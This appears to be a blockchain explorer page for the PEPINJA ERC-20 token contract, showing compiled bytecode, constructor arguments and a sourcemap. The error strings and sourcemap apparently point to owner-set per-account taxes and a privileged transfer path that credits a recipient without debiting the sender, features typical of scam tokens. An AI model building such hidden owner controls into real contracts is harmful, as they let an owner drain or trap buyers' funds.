2019050808211156121bd576121bc612160565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061221f602583611c80565b915061222a826121c3565b604082019050919050565b6000602082019050818103600083015261224e81612212565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2031000000000000000000000000000000000000602082015250565b60006122b1602e83611c80565b91506122bc82612255565b604082019050919050565b600060208201905081810360008301526122e0816122a4565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612343602683611c80565b915061234e826122e7565b604082019050919050565b6000602082019050818103600083015261237281612336565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123d5602483611c80565b91506123e082612379565b604082019050919050565b60006020820190508181036000830152612404816123c8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612467602283611c80565b91506124728261240b565b604082019050919050565b600060208201905081810360008301526124968161245a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006124d3601d83611c80565b91506124de8261249d565b602082019050919050565b60006020820190508181036000830152612502816124c6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612565602583611c80565b915061257082612509565b604082019050919050565b6000602082019050818103600083015261259481612558565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125f7602383611c80565b91506126028261259b565b604082019050919050565b60006020820190508181036000830152612626816125ea565b9050919050565b7f45524332303a207472616e7366657220416d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612689602683611c80565b91506126948261262d565b604082019050919050565b600060208201905081810360008301526126b88161267c565b9050919050565b60006126ca82611d8a565b91506126d583611d8a565b92508282039050818111156126ed576126ec612160565b5b92915050565b60006126fe82611d8a565b915061270983611d8a565b925082820261271781611d8a565b9150828204841483151761272e5761272d612160565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061276f82611d8a565b915061277a83611d8a565b92508261278a57612789612735565b5b82820490509291505056fea2646970667358221220e8f251c060cbb7520d8d012eeda397a0af37787d958c77286337b45a6cb68a9564736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000007504550494e4a41000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007504550494e4a4100000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): PEPINJA
Arg [1] : symbol_ (string): PEPINJA
Arg [2] : totalSupply_ (uint256): 100000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [4] : 504550494e4a4100000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [6] : 504550494e4a4100000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12415:6349:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9797:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10378:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15913:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12690:51;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10109:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15792:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18073:288;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15222:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10011:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10584:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15330:94;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12748:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15660:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15091:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12565:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;841:103;;;:::i;:::-;;9902:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10830:438;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17764:299;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;615:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15448:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10222:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;952:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9797:91;9842:13;9875:5;9868:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9797:91;:::o;10378:192::-;10452:4;10469:13;10485:12;:10;:12::i;:::-;10469:28;;10508:32;10517:5;10524:7;10533:6;10508:8;:32::i;:::-;10558:4;10551:11;;;10378:192;;;;:::o;15913:125::-;15988:4;764:12;:10;:12::i;:::-;754:22;;:6;;;;;;;;;;;:22;;;746:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16012:8:::1;:18;16021:8;16012:18;;;;;;;;;;;;;;;;;;;;;;;;;16005:25;;15913:125:::0;;;:::o;12690:51::-;;;:::o;10109:99::-;10161:7;10188:12;;10181:19;;10109:99;:::o;15792:113::-;764:12;:10;:12::i;:::-;754:22;;:6;;;;;;;;;;;:22;;;746:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15891:6:::1;15870:8;:18;15879:8;15870:18;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;15792:113:::0;;:::o;18073:288::-;18195:4;18212:15;18230:12;:10;:12::i;:::-;18212:30;;18255:38;18271:4;18277:7;18286:6;18255:15;:38::i;:::-;18304:27;18314:4;18320:2;18324:6;18304:9;:27::i;:::-;18349:4;18342:11;;;18073:288;;;;;:::o;15222:98::-;764:12;:10;:12::i;:::-;754:22;;:6;;;;;;;;;;;:22;;;746:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15304:8:::1;15288:13;;:24;;;;;;;;;;;;;;;;;;15222:98:::0;:::o;10011:84::-;10060:5;10085:2;10078:9;;10011:84;:::o;10584:240::-;10672:4;10689:13;10705:12;:10;:12::i;:::-;10689:28;;10728:66;10737:5;10744:7;10783:10;10753:11;:18;10765:5;10753:18;;;;;;;;;;;;;;;:27;10772:7;10753:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;10728:8;:66::i;:::-;10812:4;10805:11;;;10584:240;;;;:::o;15330:94::-;764:12;:10;:12::i;:::-;754:22;;:6;;;;;;;;;;;:22;;;746:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15410:6:::1;15391:16;:25;;;;15330:94:::0;:::o;12748:28::-;;;;;;;;;;;;;:::o;15660:122::-;15730:7;764:12;:10;:12::i;:::-;754:22;;:6;;;;;;;;;;;:22;;;746:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15757:7:::1;:17;15765:8;15757:17;;;;;;;;;;;;;;;;15750:24;;15660:122:::0;;;:::o;15091:121::-;15162:4;764:12;:10;:12::i;:::-;754:22;;:6;;;;;;;;;;;:22;;;746:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15186:8:::1;:18;15195:8;15186:18;;;;;;;;;;;;;;;;;;;;;;;;;15179:25;;15091:121:::0;;;:::o;12565:118::-;12630:7;12657:9;:18;12667:7;12657:18;;;;;;;;;;;;;;;;12650:25;;12565:118;;;:::o;841:103::-;764:12;:10;:12::i;:::-;754:22;;:6;;;;;;;;;;;:22;;;746:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;906:30:::1;933:1;906:18;:30::i;:::-;841:103::o:0;9902:95::-;9949:13;9982:7;9975:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9902:95;:::o;10830:438::-;10923:4;10940:13;10956:12;:10;:12::i;:::-;10940:28;;10979:24;11006:11;:18;11018:5;11006:18;;;;;;;;;;;;;;;:27;11025:7;11006:27;;;;;;;;;;;;;;;;10979:54;;11072:15;11052:16;:35;;11044:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;11165:60;11174:5;11181:7;11209:15;11190:16;:34;11165:8;:60::i;:::-;11256:4;11249:11;;;;10830:438;;;;:::o;17764:299::-;17834:4;17851:13;17867:12;:10;:12::i;:::-;17851:28;;17913:4;17894:23;;:8;:15;17903:5;17894:15;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;17890:105;;17951:6;17934:9;:13;17944:2;17934:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;17979:4;17972:11;;;;;17890:105;18005:28;18015:5;18022:2;18026:6;18005:9;:28::i;:::-;18051:4;18044:11;;;17764:299;;;;;:::o;615:91::-;661:7;615:91;:::o;15448:196::-;764:12;:10;:12::i;:::-;754:22;;:6;;;;;;;;;;;:22;;;746:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15547:1:::1;15537:6;:11;;15529:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;15630:6;15610:7;:17;15618:8;15610:17;;;;;;;;;;;;;;;:26;;;;15448:196:::0;;:::o;10222:142::-;10302:7;10329:11;:18;10341:5;10329:18;;;;;;;;;;;;;;;:27;10348:7;10329:27;;;;;;;;;;;;;;;;10322:34;;10222:142;;;;:::o;952:201::-;764:12;:10;:12::i;:::-;754:22;;:6;;;;;;;;;;;:22;;;746:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1061:1:::1;1041:22;;:8;:22;;::::0;1033:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1117:28;1136:8;1117:18;:28::i;:::-;952:201:::0;:::o;159:98::-;212:7;239:10;232:17;;159:98;:::o;11282:380::-;11435:1;11418:19;;:5;:19;;;11410:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11516:1;11497:21;;:7;:21;;;11489:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11600:6;11570:11;:18;11582:5;11570:18;;;;;;;;;;;;;;;:27;11589:7;11570:27;;;;;;;;;;;;;;;:36;;;;11638:7;11622:32;;11631:5;11622:32;;;11647:6;11622:32;;;;;;:::i;:::-;;;;;;;;11282:380;;;:::o;11676:453::-;11811:24;11838:25;11848:5;11855:7;11838:9;:25::i;:::-;11811:52;;11898:17;11878:16;:37;11874:248;;11960:6;11940:16;:26;;11932:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12044:51;12053:5;12060:7;12088:6;12069:16;:25;12044:8;:51::i;:::-;11874:248;11800:329;11676:453;;;:::o;16194:1562::-;16342:1;16326:18;;:4;:18;;;16318:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16419:1;16405:16;;:2;:16;;;16397:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16474:19;16496:9;:15;16506:4;16496:15;;;;;;;;;;;;;;;;16474:37;;16545:7;16530:11;:22;;16522:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;16608:7;16618:4;16608:14;;16639:27;16657:4;16663:2;16639:17;:27::i;:::-;16635:70;;;16688:5;16683:10;;16635:70;16715:23;16759:2;16755:515;;;16778:17;16843:1;16818:27;;:13;;;;;;;;;;;:27;;;16814:282;;16876:13;;;;;;;;;;;16870:19;;:2;:19;;;16866:98;;16928:16;;16916:28;;16866:98;16994:13;;;;;;;;;;;16986:21;;:4;:21;;;16982:99;;17046:15;;17034:27;;16982:99;16814:282;17130:1;17114:7;:13;17122:4;17114:13;;;;;;;;;;;;;;;;:17;17110:83;;;17164:7;:13;17172:4;17164:13;;;;;;;;;;;;;;;;17152:25;;17110:83;17227:31;17254:3;17227:22;17239:9;17227:7;:11;;:22;;;;:::i;:::-;:26;;:31;;;;:::i;:::-;17209:49;;16763:507;16755:515;17306:1;17288:15;:19;17284:256;;;17342:36;17362:15;17342:9;:15;17352:4;17342:15;;;;;;;;;;;;;;;;:19;;:36;;;;:::i;:::-;17324:9;:15;17334:4;17324:15;;;;;;;;;;;;;;;:54;;;;17419:44;17447:15;17419:9;:23;15036:42;17419:23;;;;;;;;;;;;;;;;:27;;:44;;;;:::i;:::-;17393:9;:23;15036:42;17393:23;;;;;;;;;;;;;;;:70;;;;15036:42;17483:45;;17492:4;17483:45;;;17512:15;17483:45;;;;;;:::i;:::-;;;;;;;;17284:256;17570:46;17600:15;17590:7;:25;;;;:::i;:::-;17570:9;:15;17580:4;17570:15;;;;;;;;;;;;;;;;:19;;:46;;;;:::i;:::-;17552:9;:15;17562:4;17552:15;;;;;;;;;;;;;;;:64;;;;17643:44;17671:15;17661:7;:25;;;;:::i;:::-;17643:9;:13;17653:2;17643:13;;;;;;;;;;;;;;;;:17;;:44;;;;:::i;:::-;17627:9;:13;17637:2;17627:13;;;;;;;;;;;;;;;:60;;;;17718:2;17703:45;;17712:4;17703:45;;;17732:15;17722:7;:25;;;;:::i;:::-;17703:45;;;;;;:::i;:::-;;;;;;;;16307:1449;;;16194:1562;;;:::o;1161:191::-;1235:16;1254:6;;;;;;;;;;;1235:25;;1280:8;1271:6;;:17;;;;;;;;;;;;;;;;;;1335:8;1304:40;;1325:8;1304:40;;;;;;;;;;;;1224:128;1161:191;:::o;16046:138::-;16122:4;16146:8;:14;16155:4;16146:14;;;;;;;;;;;;;;;;;;;;;;;;;:30;;;;16164:8;:12;16173:2;16164:12;;;;;;;;;;;;;;;;;;;;;;;;;16146:30;16139:37;;16046:138;;;;:::o;2730:98::-;2788:7;2819:1;2815;:5;;;;:::i;:::-;2808:12;;2730:98;;;;:::o;2836:::-;2894:7;2925:1;2921;:5;;;;:::i;:::-;2914:12;;2836:98;;;;:::o;2624:::-;2682:7;2713:1;2709;:5;;;;:::i;:::-;2702:12;;2624:98;;;;:::o;2518:::-;2576:7;2607:1;2603;:5;;;;:::i;:::-;2596:12;;2518:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:60::-;3809:3;3830:5;3823:12;;3781:60;;;:::o;3847:142::-;3897:9;3930:53;3948:34;3957:24;3975:5;3957:24;:::i;:::-;3948:34;:::i;:::-;3930:53;:::i;:::-;3917:66;;3847:142;;;:::o;3995:126::-;4045:9;4078:37;4109:5;4078:37;:::i;:::-;4065:50;;3995:126;;;:::o;4127:152::-;4203:9;4236:37;4267:5;4236:37;:::i;:::-;4223:50;;4127:152;;;:::o;4285:183::-;4398:63;4455:5;4398:63;:::i;:::-;4393:3;4386:76;4285:183;;:::o;4474:274::-;4593:4;4631:2;4620:9;4616:18;4608:26;;4644:97;4738:1;4727:9;4723:17;4714:6;4644:97;:::i;:::-;4474:274;;;;:::o;4754:118::-;4841:24;4859:5;4841:24;:::i;:::-;4836:3;4829:37;4754:118;;:::o;4878:222::-;4971:4;5009:2;4998:9;4994:18;4986:26;;5022:71;5090:1;5079:9;5075:17;5066:6;5022:71;:::i;:::-;4878:222;;;;:::o;5106:116::-;5176:21;5191:5;5176:21;:::i;:::-;5169:5;5166:32;5156:60;;5212:1;5209;5202:12;5156:60;5106:116;:::o;5228:133::-;5271:5;5309:6;5296:20;5287:29;;5325:30;5349:5;5325:30;:::i;:::-;5228:133;;;;:::o;5367:468::-;5432:6;5440;5489:2;5477:9;5468:7;5464:23;5460:32;5457:119;;;5495:79;;:::i;:::-;5457:119;5615:1;5640:53;5685:7;5676:6;5665:9;5661:22;5640:53;:::i;:::-;5630:63;;5586:117;5742:2;5768:50;5810:7;5801:6;5790:9;5786:22;5768:50;:::i;:::-;5758:60;;5713:115;5367:468;;;;;:::o;5841:619::-;5918:6;5926;5934;5983:2;5971:9;5962:7;5958:23;5954:32;5951:119;;;5989:79;;:::i;:::-;5951:119;6109:1;6134:53;6179:7;6170:6;6159:9;6155:22;6134:53;:::i;:::-;6124:63;;6080:117;6236:2;6262:53;6307:7;6298:6;6287:9;6283:22;6262:53;:::i;:::-;6252:63;;6207:118;6364:2;6390:53;6435:7;6426:6;6415:9;6411:22;6390:53;:::i;:::-;6380:63;;6335:118;5841:619;;;;;:::o;6466:86::-;6501:7;6541:4;6534:5;6530:16;6519:27;;6466:86;;;:::o;6558:112::-;6641:22;6657:5;6641:22;:::i;:::-;6636:3;6629:35;6558:112;;:::o;6676:214::-;6765:4;6803:2;6792:9;6788:18;6780:26;;6816:67;6880:1;6869:9;6865:17;6856:6;6816:67;:::i;:::-;6676:214;;;;:::o;6896:329::-;6955:6;7004:2;6992:9;6983:7;6979:23;6975:32;6972:119;;;7010:79;;:::i;:::-;6972:119;7130:1;7155:53;7200:7;7191:6;7180:9;7176:22;7155:53;:::i;:::-;7145:63;;7101:117;6896:329;;;;:::o;7231:118::-;7318:24;7336:5;7318:24;:::i;:::-;7313:3;7306:37;7231:118;;:::o;7355:222::-;7448:4;7486:2;7475:9;7471:18;7463:26;;7499:71;7567:1;7556:9;7552:17;7543:6;7499:71;:::i;:::-;7355:222;;;;:::o;7583:474::-;7651:6;7659;7708:2;7696:9;7687:7;7683:23;7679:32;7676:119;;;7714:79;;:::i;:::-;7676:119;7834:1;7859:53;7904:7;7895:6;7884:9;7880:22;7859:53;:::i;:::-;7849:63;;7805:117;7961:2;7987:53;8032:7;8023:6;8012:9;8008:22;7987:53;:::i;:::-;7977:63;;7932:118;7583:474;;;;;:::o;8063:180::-;8111:77;8108:1;8101:88;8208:4;8205:1;8198:15;8232:4;8229:1;8222:15;8249:320;8293:6;8330:1;8324:4;8320:12;8310:22;;8377:1;8371:4;8367:12;8398:18;8388:81;;8454:4;8446:6;8442:17;8432:27;;8388:81;8516:2;8508:6;8505:14;8485:18;8482:38;8479:84;;8535:18;;:::i;:::-;8479:84;8300:269;8249:320;;;:::o;8575:182::-;8715:34;8711:1;8703:6;8699:14;8692:58;8575:182;:::o;8763:366::-;8905:3;8926:67;8990:2;8985:3;8926:67;:::i;:::-;8919:74;;9002:93;9091:3;9002:93;:::i;:::-;9120:2;9115:3;9111:12;9104:19;;8763:366;;;:::o;9135:419::-;9301:4;9339:2;9328:9;9324:18;9316:26;;9388:9;9382:4;9378:20;9374:1;9363:9;9359:17;9352:47;9416:131;9542:4;9416:131;:::i;:::-;9408:139;;9135:419;;;:::o;9560:180::-;9608:77;9605:1;9598:88;9705:4;9702:1;9695:15;9729:4;9726:1;9719:15;9746:191;9786:3;9805:20;9823:1;9805:20;:::i;:::-;9800:25;;9839:20;9857:1;9839:20;:::i;:::-;9834:25;;9882:1;9879;9875:9;9868:16;;9903:3;9900:1;9897:10;9894:36;;;9910:18;;:::i;:::-;9894:36;9746:191;;;;:::o;9943:224::-;10083:34;10079:1;10071:6;10067:14;10060:58;10152:7;10147:2;10139:6;10135:15;10128:32;9943:224;:::o;10173:366::-;10315:3;10336:67;10400:2;10395:3;10336:67;:::i;:::-;10329:74;;10412:93;10501:3;10412:93;:::i;:::-;10530:2;10525:3;10521:12;10514:19;;10173:366;;;:::o;10545:419::-;10711:4;10749:2;10738:9;10734:18;10726:26;;10798:9;10792:4;10788:20;10784:1;10773:9;10769:17;10762:47;10826:131;10952:4;10826:131;:::i;:::-;10818:139;;10545:419;;;:::o;10970:233::-;11110:34;11106:1;11098:6;11094:14;11087:58;11179:16;11174:2;11166:6;11162:15;11155:41;10970:233;:::o;11209:366::-;11351:3;11372:67;11436:2;11431:3;11372:67;:::i;:::-;11365:74;;11448:93;11537:3;11448:93;:::i;:::-;11566:2;11561:3;11557:12;11550:19;;11209:366;;;:::o;11581:419::-;11747:4;11785:2;11774:9;11770:18;11762:26;;11834:9;11828:4;11824:20;11820:1;11809:9;11805:17;11798:47;11862:131;11988:4;11862:131;:::i;:::-;11854:139;;11581:419;;;:::o;12006:225::-;12146:34;12142:1;12134:6;12130:14;12123:58;12215:8;12210:2;12202:6;12198:15;12191:33;12006:225;:::o;12237:366::-;12379:3;12400:67;12464:2;12459:3;12400:67;:::i;:::-;12393:74;;12476:93;12565:3;12476:93;:::i;:::-;12594:2;12589:3;12585:12;12578:19;;12237:366;;;:::o;12609:419::-;12775:4;12813:2;12802:9;12798:18;12790:26;;12862:9;12856:4;12852:20;12848:1;12837:9;12833:17;12826:47;12890:131;13016:4;12890:131;:::i;:::-;12882:139;;12609:419;;;:::o;13034:223::-;13174:34;13170:1;13162:6;13158:14;13151:58;13243:6;13238:2;13230:6;13226:15;13219:31;13034:223;:::o;13263:366::-;13405:3;13426:67;13490:2;13485:3;13426:67;:::i;:::-;13419:74;;13502:93;13591:3;13502:93;:::i;:::-;13620:2;13615:3;13611:12;13604:19;;13263:366;;;:::o;13635:419::-;13801:4;13839:2;13828:9;13824:18;13816:26;;13888:9;13882:4;13878:20;13874:1;13863:9;13859:17;13852:47;13916:131;14042:4;13916:131;:::i;:::-;13908:139;;13635:419;;;:::o;14060:221::-;14200:34;14196:1;14188:6;14184:14;14177:58;14269:4;14264:2;14256:6;14252:15;14245:29;14060:221;:::o;14287:366::-;14429:3;14450:67;14514:2;14509:3;14450:67;:::i;:::-;14443:74;;14526:93;14615:3;14526:93;:::i;:::-;14644:2;14639:3;14635:12;14628:19;;14287:366;;;:::o;14659:419::-;14825:4;14863:2;14852:9;14848:18;14840:26;;14912:9;14906:4;14902:20;14898:1;14887:9;14883:17;14876:47;14940:131;15066:4;14940:131;:::i;:::-;14932:139;;14659:419;;;:::o;15084:179::-;15224:31;15220:1;15212:6;15208:14;15201:55;15084:179;:::o;15269:366::-;15411:3;15432:67;15496:2;15491:3;15432:67;:::i;:::-;15425:74;;15508:93;15597:3;15508:93;:::i;:::-;15626:2;15621:3;15617:12;15610:19;;15269:366;;;:::o;15641:419::-;15807:4;15845:2;15834:9;15830:18;15822:26;;15894:9;15888:4;15884:20;15880:1;15869:9;15865:17;15858:47;15922:131;16048:4;15922:131;:::i;:::-;15914:139;;15641:419;;;:::o;16066:224::-;16206:34;16202:1;16194:6;16190:14;16183:58;16275:7;16270:2;16262:6;16258:15;16251:32;16066:224;:::o;16296:366::-;16438:3;16459:67;16523:2;16518:3;16459:67;:::i;:::-;16452:74;;16535:93;16624:3;16535:93;:::i;:::-;16653:2;16648:3;16644:12;16637:19;;16296:366;;;:::o;16668:419::-;16834:4;16872:2;16861:9;16857:18;16849:26;;16921:9;16915:4;16911:20;16907:1;16896:9;16892:17;16885:47;16949:131;17075:4;16949:131;:::i;:::-;16941:139;;16668:419;;;:::o;17093:222::-;17233:34;17229:1;17221:6;17217:14;17210:58;17302:5;17297:2;17289:6;17285:15;17278:30;17093:222;:::o;17321:366::-;17463:3;17484:67;17548:2;17543:3;17484:67;:::i;:::-;17477:74;;17560:93;17649:3;17560:93;:::i;:::-;17678:2;17673:3;17669:12;17662:19;;17321:366;;;:::o;17693:419::-;17859:4;17897:2;17886:9;17882:18;17874:26;;17946:9;17940:4;17936:20;17932:1;17921:9;17917:17;17910:47;17974:131;18100:4;17974:131;:::i;:::-;17966:139;;17693:419;;;:::o;18118:225::-;18258:34;18254:1;18246:6;18242:14;18235:58;18327:8;18322:2;18314:6;18310:15;18303:33;18118:225;:::o;18349:366::-;18491:3;18512:67;18576:2;18571:3;18512:67;:::i;:::-;18505:74;;18588:93;18677:3;18588:93;:::i;:::-;18706:2;18701:3;18697:12;18690:19;;18349:366;;;:::o;18721:419::-;18887:4;18925:2;18914:9;18910:18;18902:26;;18974:9;18968:4;18964:20;18960:1;18949:9;18945:17;18938:47;19002:131;19128:4;19002:131;:::i;:::-;18994:139;;18721:419;;;:::o;19146:194::-;19186:4;19206:20;19224:1;19206:20;:::i;:::-;19201:25;;19240:20;19258:1;19240:20;:::i;:::-;19235:25;;19284:1;19281;19277:9;19269:17;;19308:1;19302:4;19299:11;19296:37;;;19313:18;;:::i;:::-;19296:37;19146:194;;;;:::o;19346:410::-;19386:7;19409:20;19427:1;19409:20;:::i;:::-;19404:25;;19443:20;19461:1;19443:20;:::i;:::-;19438:25;;19498:1;19495;19491:9;19520:30;19538:11;19520:30;:::i;:::-;19509:41;;19699:1;19690:7;19686:15;19683:1;19680:22;19660:1;19653:9;19633:83;19610:139;;19729:18;;:::i;:::-;19610:139;19394:362;19346:410;;;;:::o;19762:180::-;19810:77;19807:1;19800:88;19907:4;19904:1;19897:15;19931:4;19928:1;19921:15;19948:185;19988:1;20005:20;20023:1;20005:20;:::i;:::-;20000:25;;20039:20;20057:1;20039:20;:::i;:::-;20034:25;;20078:1;20068:35;;20083:18;;:::i;:::-;20068:35;20125:1;20122;20118:9;20113:14;;19948:185;;;;:::o

Swarm Source

ipfs://e8f251c060cbb7520d8d012eeda397a0af37787d958c77286337b45a6cb68a95
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.